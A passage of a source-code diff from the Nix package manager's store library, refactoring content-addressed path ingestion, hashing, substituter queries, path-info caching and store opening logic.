FileSerialisationMethod::Flat; + break; + case FileIngestionMethod::NixArchive: + fsm = FileSerialisationMethod::NixArchive; + break; + case FileIngestionMethod::Git: + // Use NAR; Git is not a serialization method + fsm = FileSerialisationMethod::NixArchive; + break; + } + std::optional storePath; + auto sink = sourceToSink([&](Source & source) { + LengthSource lengthSource(source); + storePath = addToStoreFromDump(lengthSource, name, fsm, method, hashAlgo, references, repair); + if (lengthSource.total >= settings.warnLargePathThreshold) + warn("copied large path '%s' to the store (%s)", path, renderSize(lengthSource.total)); }); - return addToStoreFromDump(*source, name, method, hashAlgo, repair, references); + dumpPath(path, *sink, fsm, filter); + sink->finish(); + return storePath.value(); } void Store::addMultipleToStore( @@ -346,7 +308,13 @@ void Store::addMultipleToStore( { auto expected = readNum(source); for (uint64_t i = 0; i < expected; ++i) { - auto info = ValidPathInfo::read(source, *this, 16); + // FIXME we should not be using the worker protocol here, let + // alone the worker protocol with a hard-coded version! + auto info = WorkerProto::Serialise::read(*this, + WorkerProto::ReadConn { + .from = source, + .version = 16, + }); info.ultimate = false; addToStore(info, source, repair, checkSigs); } @@ -376,20 +344,23 @@ digraph graphname { fileSink -> caHashSink } */ -ValidPathInfo Store::addToStoreSlow(std::string_view name, const Path & srcPath, - FileIngestionMethod method, HashType hashAlgo, +ValidPathInfo Store::addToStoreSlow( + std::string_view name, + const SourcePath & srcPath, + ContentAddressMethod method, HashAlgorithm hashAlgo, + const StorePathSet & references, std::optional expectedCAHash) { - HashSink narHashSink { htSHA256 }; + HashSink narHashSink { HashAlgorithm::SHA256 }; HashSink caHashSink { hashAlgo }; /* Note that fileSink and unusualHashTee must be mutually exclusive, since they both write to caHashSink. Note that that requisite is currently true because the former is only used in the flat case. */ - RetrieveRegularNARSink fileSink { caHashSink }; + RegularFileSink fileSink { caHashSink }; TeeSink unusualHashTee { narHashSink, caHashSink }; - auto & narSink = method == FileIngestionMethod::Recursive && hashAlgo != htSHA256 + auto & narSink = method == ContentAddressMethod::Raw::NixArchive && hashAlgo != HashAlgorithm::SHA256 ? static_cast(unusualHashTee) : narHashSink; @@ -397,17 +368,17 @@ ValidPathInfo Store::addToStoreSlow(std::string_view name, const Path & srcPath, srcPath. The fact that we use scratchpadSink as a temporary buffer here is an implementation detail. */ auto fileSource = sinkToSource([&](Sink & scratchpadSink) { - dumpPath(srcPath, scratchpadSink); + srcPath.dumpPath(scratchpadSink); }); /* tapped provides the same data as fileSource, but we also write all the information to narSink. */ TeeSource tapped { *fileSource, narSink }; - ParseSink blank; - auto & parseSink = method == FileIngestionMethod::Flat - ? fileSink - : blank; + NullFileSystemObjectSink blank; + auto & parseSink = method.getFileIngestionMethod() == FileIngestionMethod::Flat + ? (FileSystemObjectSink &) fileSink + : (FileSystemObjectSink &) blank; // for recursive or git we do recursive /* The information that flows from tapped (besides being replicated in narSink), is now put in parseSink. */ @@ -417,23 +388,32 @@ ValidPathInfo Store::addToStoreSlow(std::string_view name, const Path & srcPath, finish. */ auto [narHash, narSize] = narHashSink.finish(); - auto hash = method == FileIngestionMethod::Recursive && hashAlgo == htSHA256 + auto hash = method == ContentAddressMethod::Raw::NixArchive && hashAlgo == HashAlgorithm::SHA256 ? narHash + : method == ContentAddressMethod::Raw::Git + ? git::dumpHash(hashAlgo, srcPath).hash : caHashSink.finish().first; if (expectedCAHash && expectedCAHash != hash) throw Error("hash mismatch for '%s'", srcPath); ValidPathInfo info { - makeFixedOutputPath(method, hash, name), + *this, + name, + ContentAddressWithReferences::fromParts( + method, + hash, + { + .others = references, + .self = false, + }), narHash, }; info.narSize = narSize; - info.ca = FixedOutputHash { .method = method, .hash = hash }; if (!isValidPath(info.path)) { auto source = sinkToSource([&](Sink & scratchpadSink) { - dumpPath(srcPath, scratchpadSink); + srcPath.dumpPath(scratchpadSink); }); addToStore(info, *source); } @@ -445,10 +425,10 @@ StringSet StoreConfig::getDefaultSystemFeatures() { auto res = settings.systemFeatures.get(); - if (settings.isExperimentalFeatureEnabled(Xp::CaDerivations)) + if (experimentalFeatureSettings.isEnabled(Xp::CaDerivations)) res.insert("ca-derivations"); - if (settings.isExperimentalFeatureEnabled(Xp::RecursiveNix)) + if (experimentalFeatureSettings.isEnabled(Xp::RecursiveNix)) res.insert("recursive-nix"); return res; @@ -458,6 +438,7 @@ Store::Store(const Params & params) : StoreConfig(params) , state({(size_t) pathInfoCacheSize}) { + assertLibStoreInitialized(); } @@ -475,22 +456,50 @@ bool Store::PathInfoCacheValue::isKnownNow() return std::chrono::steady_clock::now() < time_point + ttl; } -std::map> Store::queryPartialDerivationOutputMap(const StorePath & path) +std::map> Store::queryStaticPartialDerivationOutputMap(const StorePath & path) { std::map> outputs; auto drv = readInvalidDerivation(path); - for (auto& [outputName, output] : drv.outputsAndOptPaths(*this)) { + for (auto & [outputName, output] : drv.outputsAndOptPaths(*this)) { outputs.emplace(outputName, output.second); } return outputs; } -OutputPathMap Store::queryDerivationOutputMap(const StorePath & path) { - auto resp = queryPartialDerivationOutputMap(path); +std::map> Store::queryPartialDerivationOutputMap( + const StorePath & path, + Store * evalStore_) +{ + auto & evalStore = evalStore_ ? *evalStore_ : *this; + + auto outputs = evalStore.queryStaticPartialDerivationOutputMap(path); + + if (!experimentalFeatureSettings.isEnabled(Xp::CaDerivations)) + return outputs; + + auto drv = evalStore.readInvalidDerivation(path); + auto drvHashes = staticOutputHashes(*this, drv); + for (auto & [outputName, hash] : drvHashes) { + auto realisation = queryRealisation(DrvOutput{hash, outputName}); + if (realisation) { + outputs.insert_or_assign(outputName, realisation->outPath); + } else { + // queryStaticPartialDerivationOutputMap is not guaranteed + // to return std::nullopt for outputs which are not + // statically known. + outputs.insert({outputName, std::nullopt}); + } + } + + return outputs; +} + +OutputPathMap Store::queryDerivationOutputMap(const StorePath & path, Store * evalStore) { + auto resp = queryPartialDerivationOutputMap(path, evalStore); OutputPathMap result; for (auto & [outName, optOutPath] : resp) { if (!optOutPath) - throw Error("output '%s' of derivation '%s' has no store path mapped to it", outName, printStorePath(path)); + throw MissingRealisation(printStorePath(path), outName); result.insert_or_assign(outName, *optOutPath); } return result; @@ -506,6 +515,57 @@ StorePathSet Store::queryDerivationOutputs(const StorePath & path) return outputPaths; } + +void Store::querySubstitutablePathInfos(const StorePathCAMap & paths, SubstitutablePathInfos & infos) +{ + if (!settings.useSubstitutes) return; + for (auto & sub : getDefaultSubstituters()) { + for (auto & path : paths) { + if (infos.count(path.first)) + // Choose first succeeding substituter. + continue; + + auto subPath(path.first); + + // Recompute store path so that we can use a different store root. + if (path.second) { + subPath = makeFixedOutputPathFromCA( + path.first.name(), + ContentAddressWithReferences::withoutRefs(*path.second)); + if (sub->storeDir == storeDir) + assert(subPath == path.first); + if (subPath != path.first) + debug("replaced path '%s' with '%s' for substituter '%s'", printStorePath(path.first), sub->printStorePath(subPath), sub->getUri()); + } else if (sub->storeDir != storeDir) continue; + + debug("checking substituter '%s' for path '%s'", sub->getUri(), sub->printStorePath(subPath)); + try { + auto info = sub->queryPathInfo(subPath); + + if (sub->storeDir != storeDir && !(info->isContentAddressed(*sub) && info->references.empty())) + continue; + + auto narInfo = std::dynamic_pointer_cast( + std::shared_ptr(info)); + infos.insert_or_assign(path.first, SubstitutablePathInfo{ + .deriver = info->deriver, + .references = info->references, + .downloadSize = narInfo ? narInfo->fileSize : 0, + .narSize = info->narSize, + }); + } catch (InvalidPath &) { + } catch (SubstituterDisabled &) { + } catch (Error & e) { + if (settings.tryFallback) + logError(e.info()); + else + throw; + } + } + } +} + + bool Store::isValidPath(const StorePath & storePath) { { @@ -576,38 +636,56 @@ static bool goodStorePath(const StorePath & expected, const StorePath & actual) } +std::optional> Store::queryPathInfoFromClientCache(const StorePath & storePath) +{ + auto hashPart = std::string(storePath.hashPart()); + + { + auto res = state.lock()->pathInfoCache.get(std::string(storePath.to_string())); + if (res && res->isKnownNow()) { + stats.narInfoReadAverted++; + if (res->didExist()) + return std::make_optional(res->value); + else + return std::make_optional(nullptr); + } + } + + if (diskCache) { + auto res = diskCache->lookupNarInfo(getUri(), hashPart); + if (res.first != NarInfoDiskCache::oUnknown) { + stats.narInfoReadAverted++; + { + auto state_(state.lock()); + state_->pathInfoCache.upsert(std::string(storePath.to_string()), + res.first == NarInfoDiskCache::oInvalid ? PathInfoCacheValue{} : PathInfoCacheValue{ .value = res.second }); + if (res.first == NarInfoDiskCache::oInvalid || + !goodStorePath(storePath, res.second->path)) + return std::make_optional(nullptr); + } + assert(res.second); + return std::make_optional(res.second); + } + } + + return std::nullopt; +} + + void Store::queryPathInfo(const StorePath & storePath, Callback> callback) noexcept { auto hashPart = std::string(storePath.hashPart()); try { - { - auto res = state.lock()->pathInfoCache.get(std::string(storePath.to_string())); - if (res && res->isKnownNow()) { - stats.narInfoReadAverted++; - if (!res->didExist()) - throw InvalidPath("path '%s' is not valid", printStorePath(storePath)); - return callback(ref(res->value)); - } + auto r = queryPathInfoFromClientCache(storePath); + if (r.has_value()) { + std::shared_ptr & info = *r; + if (info) + return callback(ref(info)); + else + throw InvalidPath("path '%s' is not valid", printStorePath(storePath)); } - - if (diskCache) { - auto res = diskCache->lookupNarInfo(getUri(), hashPart); - if (res.first != NarInfoDiskCache::oUnknown) { - stats.narInfoReadAverted++; - { - auto state_(state.lock()); - state_->pathInfoCache.upsert(std::string(storePath.to_string()), - res.first == NarInfoDiskCache::oInvalid ? PathInfoCacheValue{} : PathInfoCacheValue{ .value = res.second }); - if (res.first == NarInfoDiskCache::oInvalid || - !goodStorePath(storePath, res.second->path)) - throw InvalidPath("path '%s' is not valid", printStorePath(storePath)); - } - return callback(ref(res.second)); - } - } - } catch (...) { return callback.rethrow(); } auto callbackPtr = std::make_shared(std::move(callback)); @@ -710,7 +788,7 @@ void Store::substitutePaths(const StorePathSet & paths) std::vector paths2; for (auto & path : paths) if (!path.isDerivation()) - paths2.push_back(DerivedPath::Opaque{path}); + paths2.emplace_back(DerivedPath::Opaque{path}); uint64_t downloadSize, narSize; StorePathSet willBuild, willSubstitute, unknown; queryMissing(paths2, @@ -719,7 +797,7 @@ void Store::substitutePaths(const StorePathSet & paths) if (!willSubstitute.empty()) try { std::vector subs; - for (auto & p : willSubstitute) subs.push_back(DerivedPath::Opaque{p}); + for (auto & p : willSubstitute) subs.emplace_back(DerivedPath::Opaque{p}); buildPaths(subs); } catch (Error & e) { logWarning(e.info()); @@ -741,13 +819,13 @@ StorePathSet Store::queryValidPaths(const StorePathSet & paths, SubstituteFlag m std::condition_variable wakeup; ThreadPool pool; - auto doQuery = [&](const Path & path) { + auto doQuery = [&](const StorePath & path) { checkInterrupt(); - queryPathInfo(parseStorePath(path), {[path, this, &state_, &wakeup](std::future> fut) { + queryPathInfo(path, {[path, &state_, &wakeup](std::future> fut) { auto state(state_.lock()); try { auto info = fut.get(); - state->valid.insert(parseStorePath(path)); + state->valid.insert(path); } catch (InvalidPath &) { } catch (...) { state->exc = std::current_exception(); @@ -759,7 +837,7 @@ StorePathSet Store::queryValidPaths(const StorePathSet & paths, SubstituteFlag m }; for (auto & path : paths) - pool.enqueue(std::bind(doQuery, printStorePath(path))); // FIXME + pool.enqueue(std::bind(doQuery, path)); pool.process(); @@ -788,14 +866,14 @@ std::string Store::makeValidityRegistration(const StorePathSet & paths, auto info = queryPathInfo(i); if (showHash) { - s += info->narHash.to_string(Base16, false) + "\n"; - s += (format("%1%\n") % info->narSize).str(); + s += info->narHash.to_string(HashFormat::Base16, false) + "\n"; + s += fmt("%1%\n", info->narSize); } auto deriver = showDerivers && info->deriver ? printStorePath(*info->deriver) : ""; s += deriver + "\n"; - s += (format("%1%\n") % info->references.size()).str(); + s += fmt("%1%\n", info->references.size()); for (auto & j : info->references) s += printStorePath(j) + "\n"; @@ -840,100 +918,11 @@ StorePathSet Store::exportReferences(const StorePathSet & storePaths, const Stor return paths; } -json Store::pathInfoToJSON(const StorePathSet & storePaths, - bool includeImpureInfo, bool showClosureSize, - Base hashBase, - AllowInvalidFlag allowInvalid) -{ - json::array_t jsonList = json::array(); - - for (auto & storePath : storePaths) { - auto& jsonPath = jsonList.emplace_back(json::object()); - - try { - auto info = queryPathInfo(storePath); - - jsonPath["path"] = printStorePath(info->path); - jsonPath["narHash"] = info->narHash.to_string(hashBase, true); - jsonPath["narSize"] = info->narSize; - - { - auto& jsonRefs = (jsonPath["references"] = json::array()); - for (auto & ref : info->references) - jsonRefs.emplace_back(printStorePath(ref)); - } - - if (info->ca) - jsonPath["ca"] = renderContentAddress(info->ca); - - std::pair closureSizes; - - if (showClosureSize) { - closureSizes = getClosureSize(info->path); - jsonPath["closureSize"] = closureSizes.first; - } - - if (includeImpureInfo) { - - if (info->deriver) - jsonPath["deriver"] = printStorePath(*info->deriver); - - if (info->registrationTime) - jsonPath["registrationTime"] = info->registrationTime; - - if (info->ultimate) - jsonPath["ultimate"] = info->ultimate; - - if (!info->sigs.empty()) { - for (auto & sig : info->sigs) - jsonPath["signatures"].push_back(sig); - } - - auto narInfo = std::dynamic_pointer_cast( - std::shared_ptr(info)); - - if (narInfo) { - if (!narInfo->url.empty()) - jsonPath["url"] = narInfo->url; - if (narInfo->fileHash) - jsonPath["downloadHash"] = narInfo->fileHash->to_string(hashBase, true); - if (narInfo->fileSize) - jsonPath["downloadSize"] = narInfo->fileSize; - if (showClosureSize) - jsonPath["closureDownloadSize"] = closureSizes.second; - } - } - - } catch (InvalidPath &) { - jsonPath["path"] = printStorePath(storePath); - jsonPath["valid"] = false; - } - } - return jsonList; -} - - -std::pair Store::getClosureSize(const StorePath & storePath) -{ - uint64_t totalNarSize = 0, totalDownloadSize = 0; - StorePathSet closure; - computeFSClosure(storePath, closure, false, false); - for (auto & p : closure) { - auto info = queryPathInfo(p); - totalNarSize += info->narSize; - auto narInfo = std::dynamic_pointer_cast( - std::shared_ptr(info)); - if (narInfo) - totalDownloadSize += narInfo->fileSize; - } - return {totalNarSize, totalDownloadSize}; -} - const Store::Stats & Store::getStats() { { - auto state_(state.lock()); + auto state_(state.readLock()); stats.pathInfoCacheSize = state_->pathInfoCache.size(); } return stats; @@ -960,6 +949,11 @@ void copyStorePath( RepairFlag repair, CheckSigsFlag checkSigs) { + /* Bail out early (before starting a download from srcStore) if + dstStore already has this path. */ + if (!repair && dstStore.isValidPath(storePath)) + return; + auto srcUri = srcStore.getUri(); auto dstUri = dstStore.getUri(); auto storePathS = srcStore.printStorePath(storePath); @@ -975,7 +969,9 @@ void copyStorePath( // recompute store path on the chance dstStore does it differently if (info->ca && info->references.empty()) { auto info2 = make_ref(*info); - info2->path = dstStore.makeFixedOutputPathFromCA(info->path.name(), *info->ca); + info2->path = dstStore.makeFixedOutputPathFromCA( + info->path.name(), + info->contentAddressWithReferences().value()); if (dstStore.storeDir == srcStore.storeDir) assert(info->path == info2->path); info = info2; @@ -1015,7 +1011,7 @@ std::map copyPaths( for (auto & path : paths) { storePaths.insert(path.path()); if (auto realisation = std::get_if(&path.raw)) { - settings.requireExperimentalFeature(Xp::CaDerivations); + experimentalFeatureSettings.require(Xp::CaDerivations); toplevelRealisations.insert(*realisation); } } @@ -1087,7 +1083,9 @@ std::map copyPaths( auto storePathForSrc = currentPathInfo.path; auto storePathForDst = storePathForSrc; if (currentPathInfo.ca && currentPathInfo.references.empty()) { - storePathForDst = dstStore.makeFixedOutputPathFromCA(storePathForSrc.name(), *currentPathInfo.ca); + storePathForDst = dstStore.makeFixedOutputPathFromCA( + currentPathInfo.path.name(), + currentPathInfo.contentAddressWithReferences().value()); if (dstStore.storeDir == srcStore.storeDir) assert(storePathForDst == storePathForSrc); if (storePathForDst != storePathForSrc) @@ -1099,6 +1097,9 @@ std::map copyPaths( return storePathForDst; }; + // total is accessed by each copy, which are each handled in separate threads + std::atomic total = 0; + for (auto & missingPath : sortedMissing) { auto info = srcStore.queryPathInfo(missingPath); @@ -1119,7 +1120,13 @@ std::map copyPaths( {storePathS, srcUri, dstUri}); PushActivity pact(act.id); - srcStore.narFromPath(missingPath, sink); + LambdaSink progressSink([&](std::string_view data) { + total += data.size(); + act.progress(total, info->narSize); + }); + TeeSink tee { sink, progressSink }; + + srcStore.narFromPath(missingPath, tee); }); pathsToCopy.push_back(std::pair{infoForDst, std::move(source)}); } @@ -1168,7 +1175,7 @@ std::optional decodeValidPathInfo(const Store & store, std::istre if (!hashGiven) { std::string s; getline(str, s); - auto narHash = Hash::parseAny(s, htSHA256); + auto narHash = Hash::parseAny(s, HashAlgorithm::SHA256); getline(str, s); auto narSize = string2Int(s); if (!narSize) throw Error("number expected"); @@ -1192,7 +1199,7 @@ std::optional decodeValidPathInfo(const Store & store, std::istre } -std::string Store::showPaths(const StorePathSet & paths) +std::string StoreDirConfig::showPaths(const StorePathSet & paths) { std::string s; for (auto & i : paths) { @@ -1209,97 +1216,52 @@ std::string showPaths(const PathSet & paths) } -std::string ValidPathInfo::fingerprint(const Store & store) const -{ - if (narSize == 0) - throw Error("cannot calculate fingerprint of path '%s' because its size is not known", - store.printStorePath(path)); - return - "1;" + store.printStorePath(path) + ";" - + narHash.to_string(Base32, true) + ";" - + std::to_string(narSize) + ";" - + concatStringsSep(",", store.printStorePathSet(references)); -} - - -void ValidPathInfo::sign(const Store & store, const SecretKey & secretKey) -{ - sigs.insert(secretKey.signDetached(fingerprint(store))); -} - -bool ValidPathInfo::isContentAddressed(const Store & store) const -{ - if (! ca) return false; - - auto caPath = std::visit(overloaded { - [&](const TextHash & th) { - return store.makeTextPath(path.name(), th.hash, references); - }, - [&](const FixedOutputHash & fsh) { - auto refs = references; - bool hasSelfReference = false; - if (refs.count(path)) { - hasSelfReference = true; - refs.erase(path); - } - return store.makeFixedOutputPath(fsh.method, fsh.hash, path.name(), refs, hasSelfReference); - } - }, *ca); - - bool res = caPath == path; - - if (!res) - printError("warning: path '%s' claims to be content-addressed but isn't", store.printStorePath(path)); - - return res; -} - - -size_t ValidPathInfo::checkSignatures(const Store & store, const PublicKeys & publicKeys) const -{ - if (isContentAddressed(store)) return maxSigs; - - size_t good = 0; - for (auto & sig : sigs) - if (checkSignature(store, publicKeys, sig)) - good++; - return good; -} - - -bool ValidPathInfo::checkSignature(const Store & store, const PublicKeys & publicKeys, const std::string & sig) const -{ - return verifyDetached(fingerprint(store), sig, publicKeys); -} - - -Strings ValidPathInfo::shortRefs() const -{ - Strings refs; - for (auto & r : references) - refs.push_back(std::string(r.to_string())); - return refs; -} - - Derivation Store::derivationFromPath(const StorePath & drvPath) { ensurePath(drvPath); return readDerivation(drvPath); } -Derivation readDerivationCommon(Store& store, const StorePath& drvPath, bool requireValidPath) +static Derivation readDerivationCommon(Store & store, const StorePath & drvPath, bool requireValidPath) { - auto accessor = store.getFSAccessor(); + auto accessor = store.getFSAccessor(requireValidPath); try { return parseDerivation(store, - accessor->readFile(store.printStorePath(drvPath), requireValidPath), + accessor->readFile(CanonPath(store.printStorePath(drvPath))), Derivation::nameFromPath(drvPath)); } catch (FormatError & e) { throw Error("error parsing derivation '%s': %s", store.printStorePath(drvPath), e.msg()); } } +std::optional Store::getBuildDerivationPath(const StorePath & path) +{ + + if (!path.isDerivation()) { + try { + auto info = queryPathInfo(path); + if (!info->deriver) return std::nullopt; + return *info->deriver; + } catch (InvalidPath &) { + return std::nullopt; + } + } + + if (!experimentalFeatureSettings.isEnabled(Xp::CaDerivations) || !isValidPath(path)) + return path; + + auto drv = readDerivation(path); + if (!drv.type().hasKnownOutputPaths()) { + // The build log is actually attached to the corresponding + // resolved derivation, so we need to get it first + auto resolvedDrv = drv.tryResolve(*this); + if (resolvedDrv) + return writeDerivation(*this, *resolvedDrv, NoRepair, true); + } + + return path; +} + Derivation Store::readDerivation(const StorePath & drvPath) { return readDerivationCommon(*this, drvPath, true); } @@ -1315,140 +1277,63 @@ Derivation Store::readInvalidDerivation(const StorePath & drvPath) namespace nix { -/* Split URI into protocol+hierarchy part and its parameter set. */ -std::pair splitUriAndParams(const std::string & uri_) -{ - auto uri(uri_); - Store::Params params; - auto q = uri.find('?'); - if (q != std::string::npos) { - params = decodeQuery(uri.substr(q + 1)); - uri = uri_.substr(0, q); - } - return {uri, params}; -} - -static bool isNonUriPath(const std::string & spec) -{ - return - // is not a URL - spec.find("://") == std::string::npos - // Has at least one path separator, and so isn't a single word that - // might be special like "auto" - && spec.find("/") != std::string::npos; -} - -std::shared_ptr openFromNonUri(const std::string & uri, const Store::Params & params) -{ - if (uri == "" || uri == "auto") { - auto stateDir = getOr(params, "state", settings.nixStateDir); - if (access(stateDir.c_str(), R_OK | W_OK) == 0) - return std::make_shared(params); - else if (pathExists(settings.nixDaemonSocketFile)) - return std::make_shared(params); - #if __linux__ - else if (!pathExists(stateDir) - && params.empty() - && getuid() != 0 - && !getEnv("NIX_STORE_DIR").has_value() - && !getEnv("NIX_STATE_DIR").has_value()) - { - /* If /nix doesn't exist, there is no daemon socket, and - we're not root, then automatically set up a chroot - store in ~/.local/share/nix/root. */ - auto chrootStore = getDataDir() + "/nix/root"; - if (!pathExists(chrootStore)) { - try { - createDirs(chrootStore); - } catch (Error & e) { - return std::make_shared(params); - } - warn("'%s' does not exist, so Nix will use '%s' as a chroot store", stateDir, chrootStore); - } else - debug("'%s' does not exist, so Nix will use '%s' as a chroot store", stateDir, chrootStore); - Store::Params params2; - params2["root"] = chrootStore; - return std::make_shared(params2); - } - #endif - else - return std::make_shared(params); - } else if (uri == "daemon") { - return std::make_shared(params); - } else if (uri == "local") { - return std::make_shared(params); - } else if (isNonUriPath(uri)) { - Store::Params params2 = params; - params2["root"] = absPath(uri); - return std::make_shared(params2); - } else { - return nullptr; - } -} - -// The `parseURL` function supports both IPv6 URIs as defined in -// RFC2732, but also pure addresses. The latter one is needed here to -// connect to a remote store via SSH (it's possible to do e.g. `ssh root@::1`). -// -// This function now ensures that a usable connection string is available: -// * If the store to be opened is not an SSH store, nothing will be done. -// * If the URL looks like `root@[::1]` (which is allowed by the URL parser and probably -// needed to pass further flags), it -// will be transformed into `root@::1` for SSH (same for `[::1]` -> `::1`). -// * If the URL looks like `root@::1` it will be left as-is. -// * In any other case, the string will be left as-is. -static std::string extractConnStr(const std::string &proto, const std::string &connStr) -{ - if (proto.rfind("ssh") != std::string::npos) { - std::smatch result; - std::regex v6AddrRegex("^((.*)@)?\\[(.*)\\]$"); - - if (std::regex_match(connStr, result, v6AddrRegex)) { - if (result[1].matched) { - return result.str(1) + result.str(3); - } - return result.str(3); - } - } - - return connStr; -} - -ref openStore(const std::string & uri_, +ref openStore(const std::string & uri, const Store::Params & extraParams) { - auto params = extraParams; - try { - auto parsedUri = parseURL(uri_); - params.insert(parsedUri.query.begin(), parsedUri.query.end()); + return openStore(StoreReference::parse(uri, extraParams)); +} - auto baseURI = extractConnStr( - parsedUri.scheme, - parsedUri.authority.value_or("") + parsedUri.path - ); +ref openStore(StoreReference && storeURI) +{ + auto & params = storeURI.params; - for (auto implem : *Implementations::registered) { - if (implem.uriSchemes.count(parsedUri.scheme)) { - auto store = implem.create(parsedUri.scheme, baseURI, params); - if (store) { - store->init(); - store->warnUnknownSettings(); - return ref(store); - } + auto store = std::visit(overloaded { + [&](const StoreReference::Auto &) -> std::shared_ptr { + auto stateDir = getOr(params, "state", settings.nixStateDir); + if (access(stateDir.c_str(), R_OK | W_OK) == 0) + return std::make_shared(params); + else if (pathExists(settings.nixDaemonSocketFile)) + return std::make_shared(params); + #if __linux__ + else if (!pathExists(stateDir) + && params.empty() + && !isRootUser() + && !getEnv("NIX_STORE_DIR").has_value() + && !getEnv("NIX_STATE_DIR").has_value()) + { + /* If /nix doesn't exist, there is no daemon socket, and + we're not root, then automatically set up a chroot + store in ~/.local/share/nix/root. */ + auto chrootStore = getDataDir() + "/nix/root"; + if (!pathExists(chrootStore)) { + try { + createDirs(chrootStore); + } catch (SystemError & e) { + return std::make_shared(params); + } + warn("'%s' does not exist, so Nix will use '%s' as a chroot store", stateDir, chrootStore); + } else + debug("'%s' does not exist, so Nix will use '%s' as a chroot store", stateDir, chrootStore); + return std::make_shared("local", chrootStore, params); } - } - } - catch (BadURL &) { - auto [uri, uriParams] = splitUriAndParams(uri_); - params.insert(uriParams.begin(), uriParams.end()); + #endif + else + return std::make_shared(params); + }, + [&](const StoreReference::Specified & g) { + for (auto implem : *Implementations::registered) + if (implem.uriSchemes.count(g.scheme)) + return implem.create(g.scheme, g.authority, params); - if (auto store = openFromNonUri(uri, params)) { - store->warnUnknownSettings(); - return ref(store); - } - } + throw Error("don't know how to open Nix store with scheme '%s'", g.scheme); + }, + }, storeURI.variant); - throw Error("don't know how to open Nix store '%s'", uri_); + experimentalFeatureSettings.require(store->experimentalFeature()); + store->warnUnknownSettings(); + store->init(); + + return ref { store }; } std::list> getDefaultSubstituters() diff --git a/src/libstore/store-api.hh b/src/libstore/store-api.hh index 4a88d7216..8288cfdf0 100644 --- a/src/libstore/store-api.hh +++ b/src/libstore/store-api.hh @@ -1,7 +1,6 @@ #pragma once +///@file -#include "nar-info.hh" -#include "realisation.hh" #include "path.hh" #include "derived-path.hh" #include "hash.hh" @@ -13,23 +12,22 @@ #include "config.hh" #include "path-info.hh" #include "repair-flag.hh" +#include "store-dir-config.hh" +#include "store-reference.hh" +#include "source-path.hh" #include #include -#include #include -#include -#include #include #include #include -#include namespace nix { /** - * About the class hierarchy of the store implementations: + * About the class hierarchy of the store types: * * Each store type `Foo` consists of two classes: * @@ -55,86 +53,144 @@ namespace nix { */ MakeError(SubstError, Error); -MakeError(BuildError, Error); // denotes a permanent build failure +/** + * denotes a permanent build failure + */ +MakeError(BuildError, Error); MakeError(InvalidPath, Error); MakeError(Unsupported, Error); MakeError(SubstituteGone, Error); MakeError(SubstituterDisabled, Error); -MakeError(BadStorePath, Error); -MakeError(InvalidStoreURI, Error); +MakeError(InvalidStoreReference, Error); + +struct Realisation; +struct RealisedPath; +struct DrvOutput; struct BasicDerivation; struct Derivation; -class FSAccessor; + +struct SourceAccessor; class NarInfoDiskCache; class Store; +typedef std::map OutputPathMap; + + enum CheckSigsFlag : bool { NoCheckSigs = false, CheckSigs = true }; enum SubstituteFlag : bool { NoSubstitute = false, Substitute = true }; -enum AllowInvalidFlag : bool { DisallowInvalid = false, AllowInvalid = true }; -/* Magic header of exportPath() output (obsolete). */ +/** + * Magic header of exportPath() output (obsolete). + */ const uint32_t exportMagic = 0x4558494e; -enum BuildMode { bmNormal, bmRepair, bmCheck }; +enum BuildMode : uint8_t { bmNormal, bmRepair, bmCheck }; +enum TrustedFlag : bool { NotTrusted = false, Trusted = true }; struct BuildResult; +struct KeyedBuildResult; -struct StoreConfig : public Config +typedef std::map> StorePathCAMap; + +struct StoreConfig : public StoreDirConfig { - using Config::Config; + using Params = StoreReference::Params; + + using StoreDirConfig::StoreDirConfig; StoreConfig() = delete; - StringSet getDefaultSystemFeatures(); + static StringSet getDefaultSystemFeatures(); virtual ~StoreConfig() { } + /** + * The name of this type of store. + */ virtual const std::string name() = 0; - const PathSetting storeDir_{this, false, settings.nixStore, - "store", "path to the Nix store"}; - const Path storeDir = storeDir_; + /** + * Documentation for this type of store. + */ + virtual std::string doc() + { + return ""; + } - const Setting pathInfoCacheSize{this, 65536, "path-info-cache-size", "size of the in-memory store path information cache"}; + /** + * An experimental feature this type store is gated, if it is to be + * experimental. + */ + virtual std::optional experimentalFeature() const + { + return std::nullopt; + } - const Setting isTrusted{this, false, "trusted", "whether paths from this store can be used as substitutes even when they lack trusted signatures"}; + const Setting pathInfoCacheSize{this, 65536, "path-info-cache-size", + "Size of the in-memory store path metadata cache."}; - Setting priority{this, 0, "priority", "priority of this substituter (lower value means higher priority)"}; + const Setting isTrusted{this, false, "trusted", + R"( + Whether paths from this store can be used as substitutes + even if they are not signed by a key listed in the + [`trusted-public-keys`](@docroot@/command-ref/conf-file.md#conf-trusted-public-keys) + setting. + )"}; - Setting wantMassQuery{this, false, "want-mass-query", "whether this substituter can be queried efficiently for path validity"}; + Setting priority{this, 0, "priority", + R"( + Priority of this store when used as a [substituter](@docroot@/command-ref/conf-file.md#conf-substituters). + A lower value means a higher priority. + )"}; + + Setting wantMassQuery{this, false, "want-mass-query", + R"( + Whether this store can be queried efficiently for path validity when used as a [substituter](@docroot@/command-ref/conf-file.md#conf-substituters). + )"}; Setting systemFeatures{this, getDefaultSystemFeatures(), "system-features", - "Optional features that the system this store builds on implements (like \"kvm\")."}; + R"( + Optional [system features](@docroot@/command-ref/conf-file.md#conf-system-features) available on the system this store uses to build derivations. + Example: `"kvm"` + )", + {}, + // Don't document the machine-specific default value + false}; }; class Store : public std::enable_shared_from_this, public virtual StoreConfig { -public: - - typedef std::map Params; - protected: struct PathInfoCacheValue { - // Time of cache entry creation or update + /** + * Time of cache entry creation or update + */ std::chrono::time_point time_point = std::chrono::steady_clock::now(); - // Null if missing + /** + * Null if missing + */ std::shared_ptr value; - // Whether the value is valid as a cache entry. The path may not exist. + /** + * Whether the value is valid as a cache entry. The path may not + * exist. + */ bool isKnownNow(); - // Past tense, because a path can only be assumed to exists when - // isKnownNow() && didExist() + /** + * Past tense, because a path can only be assumed to exists when + * isKnownNow() && didExist() + */ inline bool didExist() { return value != nullptr; } @@ -145,7 +201,7 @@ protected: LRUCache pathInfoCache; }; - Sync state; + SharedSync state; std::shared_ptr diskCache; @@ -160,90 +216,26 @@ public: virtual ~Store() { } + /** + * @todo move to `StoreConfig` one we store enough information in + * those to recover the scheme and authority in all cases. + */ virtual std::string getUri() = 0; - StorePath parseStorePath(std::string_view path) const; - - std::optional maybeParseStorePath(std::string_view path) const; - - std::string printStorePath(const StorePath & path) const; - - // FIXME: remove - StorePathSet parseStorePathSet(const PathSet & paths) const; - - PathSet printStorePathSet(const StorePathSet & path) const; - - /* Display a set of paths in human-readable form 